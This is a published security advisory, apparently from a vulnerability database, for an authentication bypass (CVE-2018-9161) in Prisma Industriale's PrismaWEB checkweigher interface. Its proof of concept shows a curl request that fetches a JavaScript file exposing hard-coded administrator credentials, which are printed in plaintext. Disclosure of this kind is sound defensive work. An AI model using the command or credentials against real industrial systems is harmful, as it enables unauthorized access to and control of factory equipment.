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Gjoko KrsticZSL-2018-5453

HistoryMar 10, 2018 - 12:00 a.m.

Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass

2018-03-1000:00:00

Gjoko Krstic

zeroscience.mk

614

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.204

Percentile

96.5%

JSON

Title: Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass
Advisory ID: ZSL-2018-5453
Type: Local/Remote
Impact: DoS, Security Bypass, System Access
Risk: (5/5)
Release Date: 10.03.2018

Summary

Web Administration of Machine.

Description

The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script.

Vendor

Prisma Industriale S.r.l. - <https://www.prismaindustriale.com>

Affected Version

1.0 (Rev 21, EPROM 202FWSAM ??)

Tested On

HMS AnyBus-S WebServer

Vendor Status

[06.02.2018] Vulnerability discovered.
[19.02.2018] Vendor contacted.
[09.03.2018] No response from the vendor.
[10.03.2018] Public security advisory released.

PoC

prismaweb_auth.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://exchange.xforce.ibmcloud.com/vulnerabilities/140264>
[2] <https://packetstormsecurity.com/files/146726>
[3] <https://cxsecurity.com/issue/WLB-2018030101>
[4] <https://www.exploit-db.com/exploits/44276/>
[5] <https://vulners.com/cve/CVE-2018-9161>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2018-9161>

Changelog

[10.03.2018] - Initial release
[16.03.2018] - Added reference [1], [2], [3] and [4]
[19.04.2018] - Added reference [5] and [6]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass


Vendor: Prisma Industriale S.r.l.
Product web page: https://www.prismaindustriale.com
Affected version: 1.0 (Rev 21, EPROM 202FWSAM ??)

Summary: Web Administration of Machine.

Desc: The vulnerability exists due to the disclosure of hard-coded credentials allowing
an attacker to effectively bypass authentication of PrismaWEB with administrator
privileges. The credentials can be disclosed by simply navigating to the login_par.js
JavaScript page that holds the username and password for the management interface that
are being used via the Login() function in /scripts/functions_cookie.js script.

Tested on: HMS AnyBus-S WebServer


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5453
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php

06.02.2018

---


$ curl http://10.10.10.70/user/scripts/login_par.js
// JavaScript Document
// 11 Dicembre 2009 Release 1.0 Rev.10

var txtChkUser				= "prismaweb";	// Nome utente Login
var txtChkPassword 			= "prisma";		// Password Login

</p></body></html>

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.204

Percentile

96.5%

JSON

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